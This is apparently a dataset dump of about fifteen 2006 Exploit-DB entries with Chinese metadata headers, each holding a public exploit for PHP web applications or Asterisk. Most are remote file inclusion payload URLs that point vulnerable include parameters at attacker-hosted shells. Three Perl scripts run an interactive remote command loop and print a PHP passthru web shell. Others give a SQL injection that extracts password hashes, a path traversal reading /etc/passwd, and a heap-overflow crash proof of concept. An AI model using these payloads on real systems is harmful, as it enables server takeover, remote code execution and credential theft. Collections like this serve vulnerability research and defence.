QLWD/code_shield huggingface dataset:
标题: Net_DNS 0.3 - '/DNS/RR.php' Remote File Inclusion EDB-ID: 2614 CVE: 2006-5521 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-22 漏洞利用脚本: ###### ToXiC #########################
#
# Net_DNS: Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                      Net_DNS-0.03
#
#
#  Sorce Code:
#             http://gentoo.osuosl.org/distfiles/Net_DNS-0.03.tgz
#
#
# Page:
#         RR.php
#
#
# Dir :
#      /DNS/
#
#
#
#
# Problem:
#         /* Include files {{{ */
#         require_once("$phpdns_basedir/DNS/RR/A.php");
#         require_once("$phpdns_basedir/DNS/RR/NS.php");
#         require_once("$phpdns_basedir/DNS/RR/CNAME.php");
#            require_once("$phpdns_basedir/DNS/RR/PTR.php");
#            require_once("$phpdns_basedir/DNS/RR/SOA.php");
#            require_once("$phpdns_basedir/DNS/RR/MX.php");
#            require_once("$phpdns_basedir/DNS/RR/TSIG.php");
#        /* }}} */#
#
#
# ExPloit :
#   http://www.site.com/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=http://sonic-banda-di-lamer.gay/shell.php?
#
#
#
#       
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

# milw0rm.com [2006-10-22] URL: https://www.exploit-db.com/exploits/2614
标题: PGOSD - '/misc/function.php3' Remote File Inclusion EDB-ID: 2612 CVE: 2006-5543 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-22 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PHP Generator of Object SQL Database (path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include $path."/misc/listoption.php3";


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/misc/function.php3?path=http://evil_script?


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, kacper, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1tk4t, x_w0x,OG

Tesekkurler: DJR, mdx, R3D4C!D, sakkure, ENTRIKA, ERNE:)

www.milw0rm.com
www.team-rootshell.com
www.cyber-warrior.org
irc.milw0rm.com #milw0rm

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down: http://vidalcharles.free.fr/pgosd/pgosd.tgz

# milw0rm.com [2006-10-22] URL: https://www.exploit-db.com/exploits/2612
标题: Trawler Web CMS 1.8.1 - Multiple Remote File Inclusions EDB-ID: 2611 CVE: 2006-5495 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-21 漏洞利用脚本: #########################################################################
# trawler <= 1.8.1  Remote File Inclusion
# Download Source : http://harald-kampen.de/trawler1.8.1.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
exploit;
http://localhost/_msdazu_pdata/redaktion/artikel/up/index.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/addtort.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/colorpik2.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/colorpik3.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/extras_menu.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/farbpalette.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/lese_inc.php?path_red2=http://shell
http://localhost/_msdazu_share/richtext/newfile.php?path_red2=http://shell
http://localhost/_msdazu_share/share/insert1.php?path_scr_dat2=http://shell
http://localhost/_msdazu_share/extras/downloads/index.php?path_red=http://shell
and many more bug in this packet trawler ver 1.8.1 <-- :( this packet is
openbug
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
[mR]opt1lc,VaL,y3dips,lirva32,the_day,K-159
evilcode,illibero,NoGe,nyubi,x-ace,ghoz,
home_edition2001,matdhule,iFX,
and for all(friend's&enemy)
@irc.dal.net
#newhack[dot]org [all member&staff]
#e-c-h-o [all member echo community]
#nyubicrew [all member solpotcrew community]
#asiahacker [all member asiahacker community]

# milw0rm.com [2006-10-21] URL: https://www.exploit-db.com/exploits/2611
标题: Open Meetings Filing Application - Remote File Inclusion EDB-ID: 2609 CVE: 2006-5517 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-21 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Open Meetings Filing Application (PROJECT_ROOT) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include_once($PROJECT_ROOT."/inc/session.php");
include_once($PROJECT_ROOT."/inc/user.php");    
include_once($PROJECT_ROOT."/inc/entities.php");    
include_once($PROJECT_ROOT."/inc/openMeetingsDB.php");


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/editmeetings/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/email/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/entityproperties/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/inc/mail.php?PROJECT_ROOT=http://evil_script?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1k4t, x_w0x, DJR, Sh0ck mdx, ERNE:)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down:http://www.gocc.gov/groups/RI_SOS/software/files/OpenMtgsFiling.zip

# milw0rm.com [2006-10-21] URL: https://www.exploit-db.com/exploits/2609
标题: EZ-Ticket 0.0.1 - 'common.php' Remote File Inclusion EDB-ID: 2620 CVE: 2006-5523 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-22 漏洞利用脚本: ########################################################################
#  EZ-Ticket v0.0.1  Remote File Inclusion Vulnerability
#
#  Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download
#
#  Found By: the master (nidhal)
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/common.php?ezt_root_path=http://cmd.gif?
########################################################################

# milw0rm.com [2006-10-22] URL: https://www.exploit-db.com/exploits/2620
标题: SpeedBerg 1.2beta1 - 'SPEEDBERG_PATH' File Inclusion EDB-ID: 2615 CVE: 2006-5485 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-22 漏洞利用脚本: ########################################################################
# speedberg <= 1.2beta1  Remote File Inclusion
# Download Source :
http://www.myepfl.ch/speedberg/files/speedberg-1.2beta1.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
file;
entrancePage.tpl.php
generalToolBox.tlb.php
myToolBox.tlb.php
scriplet.inc.php
simplePage.tpl.php
speedberg.class.php
standardPage.tpl.php
########################################################################
exploit;
http://localhost/speedberg/include/entrancePage.tpl.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/generalToolBox.tlb.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/myToolBox.tlb.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/scriplet.inc.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/simplePage.tpl.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/speedberg.class.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/standardPage.tpl.php?SPEEDBERG_PATH=http://shell
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
[mR]opt1lc,VaL,y3dips,lirva32,the_day,K-159
evilcode,illibero,NoGe,nyubi,x-ace,ghoz,
home_edition2001,matdhule,iFX,
and for all(friend's&enemy)
@irc.dal.net
#newhack[dot]org [all member&staff]
#e-c-h-o [all member echo community]
#nyubicrew [all member solpotcrew community]
#asiahacker [all member asiahacker community]

# milw0rm.com [2006-10-22] URL: https://www.exploit-db.com/exploits/2615
标题: CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion EDB-ID: 2606 CVE: 2006-5480 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-21 漏洞利用脚本: #!/usr/bin/perl
#
# CASTOR <= 1.1.1 Remote Command Execution Vulnerability
# 
# Risk : High (Remote Code Execution)
# 
# Url: svn.gna.org/svn/castor/trunk 
#
# Exploit: 
#   http://www.site.com/[path]/lib/rs.php?rootpath=[Evil_Script]
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".  CASTOR <= 1.1.1 Remote Command Execution Vulnerability     .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1]; 
chomp($shell);
    
$path = $path."/lib/rs.php";


sub usage(){
 print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
 print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?rootpath=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }

}

# milw0rm.com [2006-10-21] URL: https://www.exploit-db.com/exploits/2606
标题: Segue CMS 1.5.8 - 'themesdir' Remote File Inclusion EDB-ID: 2600 CVE: 2006-5722 2006-5497 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-19 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ Segue CMS <= 1.5.8 (themesdir) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: Segue CMS <= 1.5.8
+ Vendor ............: http://segue.middlebury.edu/
+ Download ..........: http://sourceforge.net/project/showfiles.php?group_id=82171
+ Description .......: "Segue is an open source collaborative content management system"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Segue CMS themes/program/themesettings.inc.php does not intialize the $themesdir variable
+ before using it to include files, assuming register_globals = on, we can intialize the
+ variable in a query string and include a remote file of our choice. Tested and working on
+ version 1.5.4 and 1.5.8 (previous versions may also be affected).
+ 
+ Vulnerable Code:
+ themes/program/themesettings.inc.php, line(s) 02: include("$themesdir/$theme/colors.inc.php");
+ 
+ Proof of Concept:
+ http://[target]/[path]/themes/program/themesettings.inc.php?themesdir=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-19] URL: https://www.exploit-db.com/exploits/2600
标题: Asterisk 1.0.12/1.2.12.1 - 'chan_skinny' Remote Heap Overflow (PoC) EDB-ID: 2597 CVE: 2006-5444 类型: DOS 平台: MULTIPLE 发布日期: 2006-10-19 漏洞利用脚本: #!/usr/bin/perl
# Beyond Security
# Copyright Noam Rathaus <noamr@beyondsecurity.com>

#
# The following proof of concept causes the chan_skippy to crash in different locations and due to
# memory corruption as well as double free calls, this is based on the finding of
# Security-Assessment.com, and proves that the vulnerability is indeed exploitable and there...
#

use IO::Socket;
use strict;

my $target = "127.0.0.1";

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "2000");

unless ($remote) { die "cannot connect to skinny daemon on $target" }

my $packet = "A"x1000; #Causes *** glibc detected *** malloc(): memory corruption: 0x08175830 ***
my $packet = "\x30\xE0\x00\x00"."\x00\x00\x00\x00".("A"x1000); # *** glibc detected *** double free or corruption (!prev): 0x08184348 ***
my $packet = "\xE5\x03\x00\x00".("A"x996); # *** glibc detected *** double free or corruption (out): 0x08171740 ***
my $packet = "\xF0\xFF\xFF\xFF".("A"x996); # Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1494127696 (LWP 9909)]
#0xa76264cb in skinny_session (data=0x8183ee8) at chan_skinny.c:2896
#2896 memcpy(req, s->inbuf, letohl(*(int*)(s->inbuf))+8);

print $remote $packet;

# milw0rm.com [2006-10-19] URL: https://www.exploit-db.com/exploits/2597
标题: WGCC 0.5.6b - 'quiz.php' SQL Injection EDB-ID: 2604 CVE: 2006-5514 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-20 漏洞利用脚本: # Title  :   WGCC Beta <= 0.5.6 (quiz.php) Remote SQL InJection Vulnerability
# Author :   ajann
# Dork   :   "Web Group Communication Center beta 0.5.6/0.5.5/.."
# Greetz :   Tüm, Müslüman, Aleminin, Ramazan, Bayram., MUBAREK, Olsun

-->Login Before Injection

[Inject]]]

### http://[target.com]/[path]/quiz.php?action=show&qzid=[]SQL INJECTION[]

Example:
quiz.php?action=show&qzid=-1%20union%20select%200,0,0,0,username,passwort,email,0,0,0,0,0,0,0,0%20from%20wgcc_user%20where%20userid=1

++ userid=1 Change This

Crack MD5 HASH

[/Inject]]]

#ajann,Turkey
#...

#Im Not Hacker!

# milw0rm.com [2006-10-20] URL: https://www.exploit-db.com/exploits/2604
标题: LoCal Calendar 1.1 - 'lcUser.php' Remote File Inclusion EDB-ID: 2595 CVE: 2006-5426 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-18 漏洞利用脚本: +-------------------------------------------------------------------------------------------
local Calendar System v1.1 (lcUser.php) Remote File Include
---------------------------------------------------------------------------------------------
An advanced instrumentation reservation system for equipment calendaring and user management.
--------------------------------------------------------------------------------------------
download : ftp://ftp.loci.wisc.edu/locisoftware/LoCal/LoCal-1.1.tar.gz
--------------------------------------------------------------------------------------------
screenshot : http://www.loci.wisc.edu/calendar/tutorial/monthview.jpg
--------------------------------------------------------------------------------------------
code :
require "$LIBDIR/lcMembership.inc";
require "$LIBDIR/lcErrorChecker.inc";
--------------------------------------------------------------------------------------------
exploit:
local/lib/lcUser.php?LIBDIR=http://members.lycos.co.uk/o0xxdark0o3/ms.txt?
--------------------------------------------------------------------------
greetz :
:( no one
-------------------------------------------------------------------------
by o0xxdark0o
i think... so that... i m here
o0xxdark0o@msn.com
##---------------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-18] URL: https://www.exploit-db.com/exploits/2595
标题: RSSonate - 'xml2rss.php' Remote File Inclusion EDB-ID: 2605 CVE: 2006-5518 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-21 漏洞利用脚本: #!/usr/bin/perl
#
# RSSonate remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://www.gocc.gov/groups/RI_SOS/software/sqltorss
#
# Exploit: 
#   http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/config_local.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/rssonate.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/sql2xml.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script]
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".     RSSonate remote Command Execution Vulnerabilities       .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1]; 
chomp($shell);
    
$path = $path."/Src/getFeed/inc/xml2rss.php";


sub usage(){
 print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
 print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?PROJECT_ROOT=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2006-10-21] URL: https://www.exploit-db.com/exploits/2605
标题: Lou Portail 1.4.1 - 'admin_module.php' Remote File Inclusion EDB-ID: 2603 CVE: 2006-5423 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-20 漏洞利用脚本: ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ Lou Portail 1.4.1 ]                               #
#                                                                
# Class:     Remote|Local File Include Vulnerability            #
# Patch:     Unavailable                                        #
# Published  2006/10/18                                         #
# Remote:    Yes                                                
# Local:     No                               #
# Type:      High                                               #
# Site:      http://louportail.free.fr/                         #
# Author:    MP
# Contact:   mp01010@yahoo.com                      #
#                                    #
#################################################################

Vuln Code (admin/admin_module.php):

<?...
  include ("$g_admin_rep/admin_utils.$g_ext");
...?>

#Vuln 1.0 -> require register_globals = On
http://louportail.com/admin/admin_module.php?g_admin_rep=http://attacker.com&g_ext=txt

#Vuln 2.0 -> require magic_quotes_gpc = Off
http://louportail.com/admin/admin_module.php?g_admin_rep=../../../../../../../../../../../../../../../../../../../../etc/passwd%00

# milw0rm.com [2006-10-20] URL: https://www.exploit-db.com/exploits/2603
标题: EPNadmin 0.7 - 'constantes.inc.php' Remote File Inclusion EDB-ID: 2596 CVE: 2006-5555 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-19 漏洞利用脚本: #!/usr/bin/perl
#
# EPNadmin remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://epnadmin.pierrefitte93.fr
#
# Version : 0.7
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".  EPNadmin 0.7 remote Command Execution Vulnerabilities      .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1]; 
chomp($shell);
    
$path = $path."/constantes.inc.php";


sub usage(){
 print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
 print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?langage=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }

}

# milw0rm.com [2006-10-19] URL: https://www.exploit-db.com/exploits/2596
标题: pandaBB - 'displayCategory' Remote File Inclusion EDB-ID: 2599 CVE: 2006-5494 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-19 漏洞利用脚本: :::::::::  :::::::::: :::     ::: ::::::::::: :::
:+:    :+: :+:        :+:     :+:     :+:     :+:
+:+    +:+ +:+        +:+     +:+     +:+     +:+
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+
+#+    +#+ +#+         +#+   +#+      +#+     +#+
#+#    #+# #+#          #+#+#+#       #+#     #+#
#########  ##########     ###     ########### ##########

::::::::::: ::::::::::     :::     ::::    ::::
    :+:     :+:          :+: :+:   +:+:+: :+:+:+
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+
    +#+     +#+        +#+     +#+ +#+       +#+
    #+#     #+#        #+#     #+# #+#       #+#
    ###     ########## ###     ### ###       ###

   - - [DEVIL TEAM THE BEST POLISH TEAM] - -

pandaBB (basepath;adminpath) Remote File Include
[Script name: pandaBB
[Script site: http://phpnuke.pl
Find by: nukedclx (nukedclx@gmail.com)

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
Contact:
- kacper1964@yahoo.pl
- http://www.rahim.webd.pl/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon & Kacper
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko., CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, SkD, MXZ, sysios, mIvus, wacky


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
in modules/My_eGallery/public/displayCategory.php

lines 1-3:
<?php
include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");

%Exploit
        http://host/pandadir/modules/My_eGallery/public/displayCategory.php?adminpath=http://sh3ll
        http://host/pandadir/modules/My_eGallery/public/displayCategory.php?basepath=http://sh3ll

# milw0rm.com [2006-10-19] URL: https://www.exploit-db.com/exploits/2599